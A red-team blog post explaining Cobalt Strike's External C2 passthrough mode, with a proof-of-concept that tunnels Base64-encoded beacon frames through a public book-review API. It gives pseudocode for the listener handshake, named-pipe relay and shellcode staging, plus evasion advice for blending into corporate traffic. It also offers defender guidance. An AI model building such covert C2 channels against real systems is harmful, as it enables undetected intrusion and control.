Skip to content

Cobalt Strike External C2 Passthrough Guide

Cobalt Strike’s passthrough mode reshapes how red teams use External C2. By taking control of shellcode staging and custom channels, operators can bypass static detections and build covert pipelines that defenders are not ready for.

Luke Dyer

Senior Hive Member

Classic vs Passthrough path to choose

External C2 in Cobalt Strike gives red teams the freedom to create their own communication channels, bypassing the signatures defenders rely on.

Version 4.10 introduced passthrough mode, a feature that hands operators complete control over how beacon shellcode is staged.

In this post, CovertSwarm shows how to use passthrough mode to deliver custom shellcode over a transport of your choice, turning External C2 into a flexible framework for covert pipelines.

External C2 primer

Before diving into passthrough, here are the three core components of External C2:

  • External C2 Server
    This is your Cobalt Strike teamserver with an External C2 listener enabled (usually via an Aggressor script). In classic mode it provides the beacon shellcode, while in passthrough mode it only manages communication and leaves it up to you to decide how shellcode is delivered. The server listens on a port you specify, which your Controller must connect to.
  • Third-Party Controller
    A custom service or script (any language works) that communicates with your chosen transport channel and the External C2 server. In the classic model, it requests and forwards the beacon shellcode. In passthrough mode, it can instead deliver your own pre-crafted shellcode, giving you full control of staging.
  • Third-Party Client
    A lightweight agent (often a DLL) that runs on the compromised host. It communicates locally with the SMB beacon through named pipes, then packages that data and sends it outward over your custom channel (HTTP, DNS, API, or anything else that blends in with the target environment).

Classic vs Passthrough mode


Classic External C2

  • Controller connects to External C2 server
  • Server returns raw beacon shellcode
  • Client injects that shellcode into the target process
  • Client relays communication between Controller and SMB beacon

Passthrough Mode

  • Skips the server’s shellcode staging
  • Developer defines how custom shellcode (encrypted, UDRL-wrapped, etc.) is delivered
  • Enables full control over delivery, injection, and memory handling

Classic vs Passthrough Cobalt Strike External C2 workflows diagram

For reference, the full step-by-step workflow is documented on Cobalt Strike’s GitHub

Practical execution scenario

Here’s how passthrough mode plays out on a compromised host:

  1. Initial Access – Client DLL delivered and executed (phishing, exploit, LOLBin).
  2. Shellcode Retrieval – Client retrieves pre-crafted shellcode in method chosen by the developer, could be from a staged source, a local file, or embedded in the same DLL.
  3. Beacon Injection – Client reflectively injects shellcode into a target process, spawning a SMB beacon.
  4. C2 Data Exchange – Beacon communicates with the client via named pipes. Client forwards traffic to Controller, which relays tasks back.
  5. Ongoing Interaction – Controller and client keep communicating via the custom C2 channel, relaying information between C2 server and SMB beacon.

Cobalt Strike passthrough workflow diagram showing client, controller, beacon, and External C2.

Implementation (Proof of concept)

To demonstrate passthrough mode in action, CovertSwarm built a proof-of-concept External C2 pipeline that uses a public book-review API as its transport.

The Controller and Client communicate through the contents of a review entry to exchange shellcode and beacon metadata. While this channel is deliberately simplistic, it illustrates how passthrough mode can support almost any covert communication method.

Diagram of Cobalt Strike PoC using book review website as covert C2 channel.

When selecting a transport channel, choose something that naturally blends into the target’s environment. A constant stream of “book reviews” would stand out in most (if not all) corporate networks, but the same approach could be adapted to common business tools or widely used web services.

For this PoC:

  • Client: Rust-based DLL
  • Controller: Python service
  • Channel: Book review entries acting as the communications medium

This implementation follows the high-level process we outlined earlier, with a few critical differences from the classic workflow.

Step 1–3: Controller connects & establishes session

The Controller establishes a TCP connection with the External C2 listener (commonly port 2222, but configurable). Instead of requesting beacon shellcode, it sends two specific frames to enable passthrough mode:

Socket.new()

Socket.connect(External C2 Server IP, External C2 Server Listener Port)

Function encodeFrame(message)

                  Return (4-byte little-endian length of message) + message

Socket.send(encodeFrame(“payload=false”))

Socket.send(encodeFrame(“go”))

This signals to the External C2 server that the Controller will supply its own shellcode.

Step 4–6: Client starts SMB beacon

The Client is responsible for retrieving your pre-crafted SMB beacon shellcode. How you manipulate and inject that shellcode is left up to the operator and the environment, whether that means encrypting it, wrapping it in a UDRL, or using a custom injection technique.

Retrieve shellcode for an SMB beacon and manipulate ready for injection

Inject / load shellcode


Step 7–8: Client connects to beacon via named pipe

The Client establishes local communication with the Beacon using a named pipe:

NamedPipe =\\.\pipe\covertswarm_test
PipeHandle = OpenPipe(NamedPipe)
InitialFrame = ReadFromPipe(PipeHandle)

Step 9–16: Initial check-in & loop

After the client reads the initial frame from the named pipe in Step 8, the components enter a tight loop that moves frames between Beacon, Client, Controller, and External C2.

Cobalt Strike passthrough initial check-in loop with client, controller, beacon, and External C2.

Step 9. Client → Controller: relay initial metadata

The client takes the initial frame read from the pipe and writes it to the covert channel so the controller can pick it up.

In this PoC, the client sets the book review body to the Base64 of the initial frame:

setBookReviewContent(base64.encode(InitialFrame))

You can add integrity or confidentiality controls here, for example signing or encrypting before Base64.


Step 10. Controller → External C2: forward metadata

The controller polls the covert channel until the initial frame appears, decodes it, and forwards the raw bytes to the External C2 listener:

initialFrame = base64.decode(getBookReviewContent())


Step 11. External C2: check-in registers

A new Beacon session should appear on the teamserver once the metadata is processed correctly.


Steps 12 to 13. External C2 → Controller: receive tasks

    • External C2 responds with any queued task or an empty task on first check-in.
    • An empty task commonly appears as AA==when Base64 encoded. This is normal and still must be relayed to the Beacon.

C2_response = socket.receive().unpack() //Remove the prefixed length from the frame


Step 14. Controller → Client: write task back via covert channel

The controller writes the task frame back to the book review as Base64:

setBookReviewContent(base64.encode(C2_response))


Steps 15 to 16. Client → Beacon: deliver task via named pipe

      • The client polls the review, decodes the frame, and writes it to the Beacon through the named pipe: 
        C2_response = base64.decode(getBookReviewContent())

        WritePipeFrame(PipeHandle,C2_response)

From here the loop repeats: Beacon writes a response into the pipe, Client forwards via covert channel, Controller relays to External C2, and tasks flow back the same way until the session exits.

 

Conclusion

Passthrough mode transforms how red teams can use External C2. Instead of relying on the server to stage and deliver Beacon shellcode, operators gain complete control over how, when, and where that shellcode is introduced. This flexibility allows red teams to design covert pipelines that blend into real-world environments and adapt faster than static detections.

For defenders, passthrough mode highlights the limits of signature-based detection. Even traffic that looks perfectly normal, such as book reviews, chat messages, or API calls, can carry Beacon frames. Identifying these threats requires monitoring behavior and patterns, not just known indicators.

By mastering passthrough mode, red teams can rapidly experiment with new loaders, transports, and evasion techniques, while security teams can pressure-test their defenses against polymorphic and custom C2 traffic.


Takeaways for Red Teamers

  • Revisit External C2. Passthrough restores full control of shellcode staging.
  • Experiment with transports. Once your framework is in place, rolling out new covert channels is quick.
  • Pair with loaders and sleep masks. Combine passthrough with UDRLs or memory masking techniques for maximum stealth.

Takeaways for Security Teams

  • Expect polymorphic C2. Signature-based tools will miss channels built on custom or benign-looking services.
  • Hunt behaviors, not just signatures. Focus on anomalies in beacon timing, data volume, and metadata.
  • Validate detection coverage. Run red team exercises against custom C2 to ensure alerts trigger across the kill chain.